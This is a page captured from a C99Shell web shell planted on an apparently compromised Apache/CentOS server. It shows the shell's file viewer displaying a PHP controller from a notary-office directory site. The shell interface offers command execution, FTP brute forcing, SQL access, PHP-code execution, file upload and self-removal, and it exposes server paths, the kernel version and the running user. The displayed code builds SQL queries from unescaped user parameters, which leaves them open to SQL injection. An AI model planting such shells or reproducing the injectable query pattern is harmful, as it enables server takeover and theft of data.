!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.06 GB of 93.48 GB (9.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OficioCtrl.php (11.3 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once(APP_PATH."/system/ServiceDB.php");

class 
OficioCtrl {
    
    var 
$db;
    

    
/**
     * Construtor principal
     * Inicia a classe principal de controle informando o Modelo Atual
     */
    
public function __construct() {
        
$this->db = new ServiceDB();
        
$this->db->connect();
    }
    
    
    
    
/**
     * Retorna a ista de aniversariantes do dia
     * @return Array
     */
   
public function getOficios($codCidade$nomeOficial="") {;
         
$array = array();
        if (!empty(
$nomeOficial)){
            
$sqlAdd "AND CON_Descricao LIKE '%".$nomeOficial."%'";
        }
        
$sql $this->db -> query("SELECT * FROM oficios "
                     
"INNER JOIN cidades ON OFI_Cidades_DR = CID_RowID "
                     
"INNER JOIN contatos ON OFI_RowID = CON_Oficios_DR "
                     
"LEFT JOIN oficios_dados_cnj ON ODC_Oficio_DR=OFI_RowID "
                     
"WHERE OFI_AtivoSN = 'S'"
                     
"AND OFI_Cidades_DR = CID_RowID "
                     
"AND OFI_Cidades_DR = $codCidade "
                     
"AND contatos.CON_Descricao <> 'DESATIVADO' "
                     
"AND contatos.CON_Tabeliao = 'S' "
                     
$sqlAdd
                     
" ORDER BY OFI_Descricao");
       
$count 0
       while(
$row $this->db -> fetch($sql)){
           
$array[$count] = $row;
           
$count++;
       }
       return 
$array;
   }
   
   
    function 
buscarOficios($codCidade$where){
        
//busca os ofícios de cada cidade listada
        
$array = array();
        
$count 0;
        
$sql $this->db -> query("SELECT * FROM oficios WHERE OFI_Cidades_DR = ".$codCidade." AND OFI_AtivoSN = 'S'");
        while(
$row $this->db -> fetch($sql)){
            
$arrayDados = array();
            
$sql2 $this->db -> query("SELECT oficios.*, contatos.*, cidades.CID_Descricao as cidadeOficio,oficios_dados_cnj.ODC_CodigoCNJ 
                            FROM oficios 
                            INNER JOIN contatos ON OFI_RowID = CON_Oficios_DR
                            INNER JOIN cidades ON OFI_Cidades_DR = CID_RowID
                            LEFT JOIN oficios_dados_cnj ON ODC_Oficio_DR=OFI_RowID
                            WHERE OFI_RowID = "
.$row['OFI_RowID'].
                            AND OFI_AtivoSN = 'S' AND CON_AtivoSN = 'S' 
                            AND contatos.CON_Descricao <> 'DESATIVADO'
                            AND contatos.CON_Tabeliao = 'S' "
.$where);
            while(
$row2 $this->db -> fetch($sql2)){
                
$arrayDados[$count]['OFI_Descricao'] = $row2['OFI_Descricao'];
                
$arrayDados[$count]['ODC_CodigoCNJ'] = $row2['ODC_CodigoCNJ'];
                
$arrayDados[$count]['CON_Descricao'] = $row2['CON_Descricao'];
                
$arrayDados[$count]['OFI_Endereco'] = $row2['OFI_Endereco'];
                
$arrayDados[$count]['cidadeOficio'] = $row2['cidadeOficio'];
                
$arrayDados[$count]['OFI_Estado'] = $row2['OFI_Estado'];
                
$arrayDados[$count]['OFI_Cep'] = $row2['OFI_Cep'];
                
$arrayDados[$count]['OFI_DDD'] = $row2['OFI_DDD'];
                
$arrayDados[$count]['OFI_Fone'] = $row2['OFI_Fone'];
                
$count++;
            }
        }
        return 
$arrayDados;          
    }
        
    
    
   
    function 
getDadosRegiao($regiao$cidade$oficial){
        
$array = array();
        
$count 0;
        
$countCidades 0;
        
$countDistritos 0;
        
$sqlAdd "";
        if (!empty(
$regiao) && $regiao != "0"){
            
$sqlAdd.= " AND irp_regioes.REG_RowID = '".$regiao."'";
        }
        if (!empty(
$cidade)){
            
$sqlAdd.= " AND (cidades.CID_Descricao LIKE '%".$cidade."%' OR distritos.CID_Descricao LIKE '%".$cidade."%')";
        }
        if (!empty(
$oficial)){
            
$sqlAdd.= " AND (contatos.CON_Descricao LIKE '%".$oficial."%')";
        }
        
$sql $this->db -> query("SELECT DISTINCT irp_regioes.* FROM irp_regioes, cidades, cidades distritos, oficios, contatos
                           WHERE irp_regioes.REG_RowID = cidades.CID_Regiao_DR 
                           AND distritos.CID_Cidades_DR <> 0 AND distritos.CID_Cidades_DR = cidades.CID_RowID 
                           AND (oficios.OFI_Cidades_DR IN (cidades.CID_RowID, distritos.CID_RowID)) 
                           AND oficios.OFI_RowID = contatos.CON_Oficios_DR 
                           AND oficios.OFI_AtivoSN = 'S' 
                           AND contatos.CON_AtivoSN = 'S' 
                           AND contatos.CON_Descricao <> 'DESATIVADO' "
.$sqlAdd);
        while(
$row $this->db -> fetch($sql)){
            
$array[$count]['nomeRegiao'] = mb_strtoupper(utf8_encode($row['REG_Nome']));
            
$sql2 $this->db -> query("SELECT DISTINCT cidades.* FROM irp_regioes, cidades, cidades distritos, oficios, contatos
                                WHERE irp_regioes.REG_RowID = cidades.CID_Regiao_DR 
                                AND distritos.CID_Cidades_DR <> 0 AND distritos.CID_Cidades_DR = cidades.CID_RowID 
                                AND (oficios.OFI_Cidades_DR IN (cidades.CID_RowID, distritos.CID_RowID)) 
                                AND oficios.OFI_RowID = contatos.CON_Oficios_DR 
                                AND oficios.OFI_AtivoSN = 'S' 
                                AND contatos.CON_AtivoSN = 'S' 
                                AND contatos.CON_Descricao <> 'DESATIVADO' "
.$sqlAdd."
                                AND cidades.CID_ComarcaMunicipioDistritoCMD = 'C' AND irp_regioes.REG_RowID = '"
.$row['REG_RowID']."'
                                AND (EXISTS(SELECT o2.OFI_RowID FROM oficios o2 where o2.OFI_Cidades_DR = cidades.CID_RowID AND o2.OFI_AtivoSN = 'S')
                                OR EXISTS(SELECT o2.OFI_RowID FROM oficios o2 where o2.OFI_Cidades_DR = distritos.CID_RowID AND o2.OFI_AtivoSN = 'S'))"
);    
            
$countCidades 0;
            while(
$row2 $this->db -> fetch($sql2)){
                
$array[$count]['cidades'][$countCidades]['CID_RowID'] = $row2['CID_RowID'];
                
$array[$count]['cidades'][$countCidades]['CID_Descricao'] = utf8_encode($row2['CID_Descricao']);
                
$array[$count]['cidades'][$countCidades]['CID_ComarcaMunicipioDistritoCMD'] = utf8_encode($row2['CID_ComarcaMunicipioDistritoCMD']);
                
$array[$count]['cidades'][$countCidades]['CID_Cidades_DR'] = utf8_encode($row2['CID_Cidades_DR']);
                
$array[$count]['cidades'][$countCidades]['CID_Entrancia'] = utf8_encode($row2['CID_Entrancia']);
                
$array[$count]['cidades'][$countCidades]['CID_Regiao_DR'] = $row2['CID_Regiao_DR'];
                
$array[$count]['cidades'][$countCidades]['CID_NivelSuperior_DR'] = $row2['CID_NivelSuperior_DR'];
                
$sql3 $this->db -> query("SELECT DISTINCT distritos.* FROM irp_regioes, cidades, cidades distritos, oficios, contatos
                                    WHERE irp_regioes.REG_RowID = cidades.CID_Regiao_DR 
                                    AND distritos.CID_Cidades_DR <> 0 AND distritos.CID_Cidades_DR = cidades.CID_RowID 
                                    AND (oficios.OFI_Cidades_DR IN (cidades.CID_RowID, distritos.CID_RowID)) 
                                    AND oficios.OFI_RowID = contatos.CON_Oficios_DR 
                                    AND oficios.OFI_AtivoSN = 'S' 
                                    AND contatos.CON_AtivoSN = 'S' 
                                    AND contatos.CON_Descricao <> 'DESATIVADO' "
.$sqlAdd."
                                    AND distritos.CID_Cidades_DR <> 0 AND distritos.CID_Cidades_DR = '"
.$row2['CID_RowID']."'
                                    AND EXISTS(SELECT o2.OFI_RowID FROM oficios o2 where o2.OFI_Cidades_DR = distritos.CID_RowID AND o2.OFI_AtivoSN = 'S')"
);
                
$countDistritos 0;   
                while(
$row3 $this->db -> fetch($sql3)){
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_RowID'] = $row3['CID_RowID'];
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_Descricao'] = utf8_encode($row3['CID_Descricao']);
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_ComarcaMunicipioDistritoCMD'] = utf8_encode($row3['CID_ComarcaMunicipioDistritoCMD']);
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_Cidades_DR'] = utf8_encode($row3['CID_Cidades_DR']);
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_Entrancia'] = utf8_encode($row3['CID_Entrancia']);
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_Regiao_DR'] = utf8_encode($row3['CID_Regiao_DR']);
                    
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['CID_NivelSuperior_DR'] = utf8_encode($row3['CID_NivelSuperior_DR']);  
                    
$oficios $this->getOficios($row3['CID_RowID'], $oficial);
                    
$countOficios 0;
                    foreach(
$oficios as $oficio){
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['CON_Descricao'] = utf8_encode($oficio['CON_Descricao']); 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_Endereco'] = utf8_encode($oficio['OFI_Endereco']); 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_Bairro'] = utf8_encode($oficio['OFI_Bairro']); 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_Descricao'] = utf8_encode($oficio['OFI_Descricao']); 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['ODC_CodigoCNJ'] = utf8_encode($oficio['ODC_CodigoCNJ']); 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['CID_Descricao'] = utf8_encode($oficio['CID_Descricao']); 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_Estado'] = utf8_encode($oficio['OFI_Estado']);
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_Cep'] = $oficio['OFI_Cep'];   
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_DDD'] = $oficio['OFI_DDD']; 
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['OFI_Fone'] = $oficio['OFI_Fone'];
                        
$array[$count]['cidades'][$countCidades]['distritos'][$countDistritos]['oficios'][$countOficios]['CON_AtivoSN'] = $oficio['CON_AtivoSN'];
                        
$countOficios++;
                    }
                    
$countDistritos++;
                }
                
$countCidades++;
            }
            
$count++;
        }
        return 
$array;          
    }
    
    
    
    
    function 
getCidades($cidade){
        
$cidade addslashes($cidade);
        
$array = array();
        
$sql $this->db -> query("SELECT DISTINCT(CID_Descricao) FROM cidades
                                   INNER JOIN oficios ON OFI_Cidades_DR = CID_RowID
                                   WHERE CID_Descricao LIKE '%"
.$cidade."%' ORDER BY CID_Descricao");
        while(
$row $this->db -> fetch($sql)){
            
$array[] = $row[0];
        };
        return 
$array;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--